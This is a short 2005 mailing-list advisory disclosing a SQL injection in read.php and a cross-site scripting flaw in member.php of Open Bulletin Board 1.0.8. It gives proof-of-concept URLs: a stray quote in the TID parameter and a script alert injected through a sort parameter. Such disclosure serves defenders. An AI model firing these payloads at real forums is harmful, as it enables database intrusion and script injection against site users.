OpenBB SQL Injection & Cross-site Scripting Vulnerability

From: Megasky <magasky_at_hotmail.com>
Date: 13 May 2005 04:23:11 -0000

('binary' encoding is not supported, stored as-is) Open Bulletin Board
www.openbb.com

Vulnerable versions: 1.0.8

* OpenBB read.php SQL Injection Vulnerability

Proof of concept:
http://www.example.com/openbb/read.php?action=lastpost&TID='
http://www.example.com/openbb/read.php?TID='

* OpenBB member.php Cross-Site Scripting Vulnerability

Proof of concept:
http://www.example.com/member.php?action=list&page=2&sortorder=username&perpage=25&reverse=">&lt;script&gt;alert('test');&lt;/script&gt;
Received on May 13 2005